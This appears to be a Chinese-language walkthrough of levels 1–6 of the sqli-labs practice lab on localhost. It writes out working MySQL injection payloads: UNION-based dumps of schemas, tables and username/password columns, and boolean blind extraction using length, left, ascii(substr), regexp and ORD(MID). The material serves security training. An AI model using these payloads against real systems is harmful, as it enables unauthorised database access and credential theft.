【第一关】
网页回显 ''1''LIMIT 0,1' 基本可以判断 字符型的注入了 我们加个单引号 可以发现数据库报错了 '被数据库解析了 limit我们用#号进行注释
利用order by 判断字段数量
http://127.0.0.1/sqlilabs/Less-1/?id=1%27%20order%20by%204%20--+
可以知道 只有三个字段 接下来 判断字段的顺序
很神奇 我们的语句没有错 但是并不是我们要的结果 此时我们可以id=-10 两个sql语句操作时 前一个语句选择的内容为空 后面的语句的内容将显示出来
接下来 就是要获取库名了 获取当前数据库名以及版本
获取所有数据库
union select1,2,group_concat(schema_name) from information_schema.schemata --+
获取数据表名
unionselect 1,2,group_concat(table_name) from information_schema.tables wheretable_schema='security' --+ 当属 数据库名可以用十六进制来表示0x7365637572697479
获取字段名称
union select1,2,group_concat(column_name) from information_schema.columns wheretable_name='users' --+
获取详细数据
union select1,2,group_concat(id,'-',username,'-',password) from users --+
【第二关】
其实前四关的类型都基本一样 所以 二到四关不放详细语句了 都重复了
丢到数据库后 查询语句 其实为SELECT * from TABLE where id = 1'
【第三关】
多了个括号 输入的1'丢到数据库后 查询语句 其实为SELECT* from TABLE where id = ('1'' ) LIMIT0,1
和之前的方法是一样的 只不过 多加个括号 手动闭合下语句 也就变成SELECT * from TABLE where id =('-1') XXX --+ ')
【第四关】
单引号已经不报错了 我们加入双引号
根据报错提示 我们得知 数据库语句又变了SELECT* from TABLE where id = ("1" ) LIMIT0,1
我们如何闭合呢SELECT* from TABLE where id = ("-1") --+ " ) LIMIT 0,1
与之前的语句一样的
【第五关】
发现又有limit 记得在语句后面加上#
上面两个可以发现 正确输入 以及 错误输入的回显页面
盲注 这里加个知识点
Length(database())>=
left(database(),1)>'s'Database()显示数据库名字 left(x,y) 从左侧截取x的y位 进行判断
首先判断数据库的长度
id=1' andlength(database())>7 --+
id=1' and length(database())>8 --+出现报错 说明长度不大于8 长度为8
猜解数据库的名字 通过测试 我们其实是知道数据库名为security
id=1'and left(database(),1)='s' --+
那么第一位等于s一定是正常回显的
与之前的语句一样的
前两位为se也是正常的
最后可以判断数据库全名
id=1' andleft(database(),8)='security' --+
下面主要运用ascii() substr(x,y,z)
之前我们爆表的语句 为union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+
结合下 ascii(substr((selecttable_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))
首先通过二分法获取第一个表的第一位字母 为e
id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1,1))=101 --+
第二个字母如何获取? substr(XXXX,2,1)
以此类推 第三个字母为a id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),3,1))=97 --+
那么我们如何获取下一张表? 以前说过limit x,y 代表从x开始 获取第y个 limit 0,1其实就是从0开始 获取第一个 那么第二张表不就是limit 1,1? 第三张limit 2,1 第四张limit 3,1
获取第四章表的第一个字母 u
id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 3,1),1,1))=117 --+
第二个字母 s
id=1'and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 3,1),2,1))=115--+
同理 可获得该表名为users
如何获得字段名呢? 像之前一样的方法 使用二分法 是可以的
这里学习下regexp
And1=1的基础上 做的payload
id=1' and 1=(select 1from information_schema.columns where table_name='users' and column_name regexp'^username' limit 0,1)--+
将username 换成 password也是成功的 大大减少我们的爆破时间 实际渗透测试中我们就可以使用这样的方法 去问服务器 有没有这个列的存在 而不用去一个个爆破
利用ord() mid()直接获取users表的内容
第一个字母为D
id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.usersORDER BY id LIMIT 0,1),1,1))=68 --+
第二个字母为u
id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.usersORDER BY id LIMIT 0,1),2,1))=117 --+
以此类推 第一行数据为Dumb
【第六关】
不同点已经圈出来了 和第五关方法是一样的 不再演示
领取专属 10元无门槛券
私享最新 技术干货